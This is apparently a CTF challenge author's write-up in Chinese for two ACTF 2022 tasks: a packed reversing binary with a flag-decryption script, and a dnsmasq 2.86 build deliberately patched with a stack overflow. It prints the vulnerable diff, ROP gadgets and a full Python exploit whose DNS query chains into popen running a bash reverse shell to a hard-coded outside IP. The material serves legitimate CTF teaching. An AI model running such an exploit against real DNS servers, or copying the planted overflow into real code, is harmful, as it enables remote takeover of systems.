ACTF出题(dropper+master_of_dns)

前序

在xctf分站赛中出了两道题,分别是dropper和master_of_dns,两道题都偏简单一点,dropper解题31个队,master_of_dns解题三个队,可能是第二天放题的缘故。

在这里插入图片描述

出题思路

出题源码

自己的题解:https://github.com/zdy/ACTF2022-problem
官方题解:https://github.com/team-s2/ACTF-2022

dropper

使用这个工具Dropper在外面加一层壳,这个方法是绕恶意软件检测模型提出的, 使用异常处理更改代码执行路径(使用异常处理进行虚函数表hook),真实软件是c++面向对象的flag加密代码(使用了大数运算)
考点总结:upx壳+dropper+大数运算+异常处理+虚函数表hook

master_of_dns

使用dnsmasq软件,patch dns域名解析的位置,设置一个栈溢出漏洞(源码修改的非常少),因为是栈溢出,所以利用方法也很多,这里也加了些东西干扰diff
考点总结:dns协议 + dns域名指针的用处 + diff找出漏洞

题解

dropper

  • 使用upx加壳工具脱掉壳,如果不能运行,关掉文件的aslr标志位,关闭DYNAMIC_BASE
  • 通过dropper搜索相关含义,找到从资源区获取数据并加密的代码,如果可以找到https://github.com/marcusbotacin/Dropper, 那基本离解题更进一步
    • 没找到运行PE文件的函数交叉引用,猜测是使用了GetProcAddress,利用交叉引用找到对应地方
      • 静态分析找到,或者动态跟踪找到对应的数据,分析解密,写脚本将数据解密,生成真正的可执行文件
        • 这里还是比较简单的,就是做了个异或某个数字
  • 动态调试跟踪,可以跟踪到加密和验证的所有过程,并不复杂,这里只是加了反静态分析的方法,利用简单的除0进行异常捕捉进行虚函数表hook,使得静态分析失效
    • 可以输入flag后,对text区下断点,获得处理逻辑地址,在IDA中找到之后,设置断点,进行跟踪
      • 猜测生成的大数是如何存储的,动态调试找到存储数据的地址空间,并尝试将十六进制转换为十进制,可以看到十进制只以十六进制存储。
    • 根据IDA的string,发现BASE64的字符串表,根据交叉引用,找到真正的加密判断地址
  • 也可以使用动态调试,打开文件,运行到“flag:”,停止当前进程,然后附加到被创建的子进程,就可以动态调试被生成的子进程。
  • 解密代码
import base64

res = 834572051814337070469744559761199605121805728622619480039894407167152612470842477813941120780374570205930952883661000998715107231695919001238818879944773516507366865633886966330912156402063735306303966193481658066437563587241718036562480496368592194719092339868512773222711600878782903109949779245500098606570248830570792028831133949440164219842871034275938433
res = res + 57705573952449699620072104055030025886984180500734382250587152417040141679598894
res = res - 71119332457202863671922045224905384620742912949065190274173724688764272313900465
res = res + 55079029772840138145785005601340325789675668817561045403173659223377346727295749
res = res - 14385283226689171523445844388769467232023411467394422980403729848631619308579599
res = res + 80793226935699295824618519685638809874579343342564712419235587177713165502121664
res = res // 7537302706582391238853817483600228733479333152488218477840149847189049516952787
res = res - 17867047589171477574847737912328753108849304549280205992204587760361310317983607
res = res + 55440851777679184418972581091796582321001517732868509947716453414109025036506793
res = res // 11783410410469738048283152171898507679537812634841032055361622989575562121323526
res = res - 64584540291872516627894939590684951703479643371381420434698676192916126802789388

s = ''
while res:
    s += chr(res % 128)
    res = res // 128

print(base64.b64decode(s))

master_of_dns

  • fuzz或者diff找到漏洞,构造漏洞,只在两个地方进行了修改(改动非常小),去除了dnsmasq明显的特征,以及新增几个干扰diff的函数
    • 去掉tcp_request,关闭tcp查询,因为使用tcp协议就不用域名指针也可以触发漏洞
    • 新增栈溢出
    diff --color -Naur dnsmasq-2.86/src/dnsmasq.c dnsmasq-2.86-patch/src/dnsmasq.c
    --- dnsmasq-2.86/src/dnsmasq.c	2021-09-09 04:21:22.000000000 +0800
    +++ dnsmasq-2.86-patch/src/dnsmasq.c	2022-03-18 16:02:32.425548837 +0800
    @@ -1986,13 +1986,14 @@
     	      if ((flags = fcntl(confd, F_GETFL, 0)) != -1)
     		fcntl(confd, F_SETFL, flags & ~O_NONBLOCK);
     	      
    -	      buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
    +        //关闭tcp查询
    +	      //buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
     	       
     	      shutdown(confd, SHUT_RDWR);
     	      close(confd);
     	      
    -	      if (buff)
    -		free(buff);
    +	      //if (buff)
    +		//free(buff);
     	      
     	      for (s = daemon->servers; s; s = s->next)
     		if (s->tcpfd != -1)
    diff --color -Naur dnsmasq-2.86/src/rfc1035.c dnsmasq-2.86-patch/src/rfc1035.c
    --- dnsmasq-2.86/src/rfc1035.c	2021-09-09 04:21:22.000000000 +0800
    +++ dnsmasq-2.86-patch/src/rfc1035.c	2022-03-19 16:37:28.636136647 +0800
    @@ -19,9 +19,11 @@
     int extract_name(struct dns_header *header, size_t plen, unsigned char **pp, 
     		 char *name, int isExtract, int extrabytes)
     {
    +  //这里根据exp的构造调整一下
       unsigned char *cp = (unsigned char *)name, *p = *pp, *p1 = NULL;
    -  unsigned int j, l, namelen = 0, hops = 0;
    +  unsigned int j, l,namelen = 0, hops = 0;
       int retvalue = 1;
    +  unsigned char vul[848];
       
       if (isExtract)
         *cp = 0;
    @@ -54,6 +56,7 @@
     	  else
     	    *pp = p;
     	  
    +	  memcpy(vul, name, namelen);
     	  return retvalue;
     	}
    
  • 根据漏洞构造poc,利用域名指针构造长度大于848长度的域名触发漏洞
    • 多次利用域名指针
  • 栈溢出漏洞,使用popen函数执行反弹shel
    • 这里并不是任意长度溢出(点之间最大长度为0x3f),而且域名内不能有\x00和\x2e,最大溢出长度为123个字节
    • 一些利用方法的限制
      • mprotect打开可执行权限,写入shellcode,显然溢出长度不够支撑做这些
      • orw出flag,参数里会出现\x00字节,也不可行
      • 使用execl函数反弹shell,但是最后一个必须是\x00,除非正好栈布局最后一个是\x00,也可以使用int 80来实现,可能123个字节有点不够用
    • 预期利用方式
      • 使用popen函数进行反弹shell,这里只需要两个参数,一个要执行的命令,另一个是操作类型,读或者写,类似popen(char *cmd, char *type)
        • 因为溢出长度的限制,我们添加了几个gadget方便能够达到要求,也考察选手使用gadget的能力
        • 添加一个gadget用来往某个地址写入值,还加了个异或,避免出现\x2e
           add eax, 4
           pop edx
           xor edx, 0xffffffff
           mov dword ptr [eax], edx
           ret
          
        • 因为123字节中间会有一个\x2e字节干扰,所以添加一个地址最后一个字节为\x2e的无用gadget
          nop
          ret
          
        • 上面两个gadget都可以使用ropper或者ROPgadget搜索到
    • 当然这个题也比较开放,可以有多种的getshell方式(大佬说不定会有其他更好的利用方法),目前有一个:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/29/dns/
  • 利用代码:
import socket
import os
import argparse
import random
import string
from pwn import *
context.arch='i386' #指定架构,不然会报错

#  无需connect服务端,因为发送时候跟上服务端ip和port就行
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def genRandom(num, slen):
    unique_strings = []
    while len(unique_strings) < num:
        ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
        if ustring not in unique_strings:
            unique_strings.append(ustring)
    return unique_strings

def dnsquery(ip, port):
    query = os.urandom(2)
    query += b'\x01\x00' # Flags: query + Truncated + Recursion Desired + Recursion Available
    query += b'\x00\x01' # Questions
    query += b'\x00\x00' # Answer RRs
    query += b'\x00\x00' # Authority RRs
    query += b'\x00\x00'# Additional RRs

    # Queries
    payload = b'\x3f' * 0x40
    for i in range(13):
        payload += b'\xc0'
        payload += bytes([0xe + i * 2])
    payload += b'\x3d'
    payload += b'\x41\x41\x41\x41\x41'

    popen_addr = 0x804ab40
    exit_addr = 0x804ad30
    nop_2e_addr = 0x0804A92E
    pop_eax_addr = 0x08059d44
    w_str_addr = 0x080A6660
    update_addr = 0x0804B2B1
    bss_addr = 0x80a7070

    shell = b'/bin/sh -i >& /dev/tcp/59.63.224.105/9 0>&1'.ljust(44, b'\x00')
    value = []
    for i in range(0, len(shell), 4):
        value.append(u32(shell[i:(i + 4)]))
    print(len(value))

    payload += flat([pop_eax_addr, bss_addr])
    for i in range(6):
        payload += flat([update_addr, value[i] ^ 0xffffffff])

    payload += b'\x3f'
    payload += b'\xa9\x04\x08'
    for i in range(6, 11):
        payload += flat([update_addr, value[i] ^ 0xffffffff])
    payload += flat([popen_addr, exit_addr, bss_addr + 0x4, w_str_addr])
    payload += b'\x41\x41\x41\x41'
    payload += b'\x00'
    print(payload)
    query += payload  # Name
    query += b'\x00\x01' # Type: NS
    query += b'\x00\x01'# Class: IN

    client.sendto(query, (ip, int(port)))
    data, server_addr = client.recvfrom(1024)
    print(data)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-ip', help='ip address', required=True)
    parser.add_argument('-port', help='port', required=True)
    args = parser.parse_args()
    
    ip = args.ip
    port = args.port
    dnsquery(ip, port)

if __name__ == '__main__':
    main()

总结

此次出题花费了两周时间,从出题的角度感受了下,最后大家做的时候,感觉还是不错的,达到预期了吧,dropper没有被很多人解出来,也起到了签到的目的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值